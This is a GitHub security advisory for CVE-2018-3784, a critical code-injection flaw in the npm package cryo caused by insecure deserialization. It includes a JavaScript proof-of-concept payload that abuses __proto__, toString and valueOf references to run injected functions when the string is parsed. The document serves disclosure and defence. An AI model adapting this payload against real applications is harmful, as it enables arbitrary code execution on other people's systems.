GitHub Advisoryadvisory · npm

GHSA-38f5-ghc2-fcmv Code Injection in cryo

CRITICAL Published 2018-08-21 Modified 2023-09-12 Official page ↗
Aliases
CVE-2018-3784
Ecosystem
npm
Packages
cryo
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2020-06-16

Affected packages

• npm cryo: <= 0.0.6 (no fix yet)

Description

All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization. Proof of concept ```js var Cryo = require('cryo'); var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}' var hydrated = Cryo.parse(frozen); console.log(hydrated); ``` Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.

Related

Alias · CVE (1)

  • CVE-2018-3784 A code injection in cryo 0.0.6 allows an attacker to arbitrarily execute code due to insecure implementation of deserialization. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References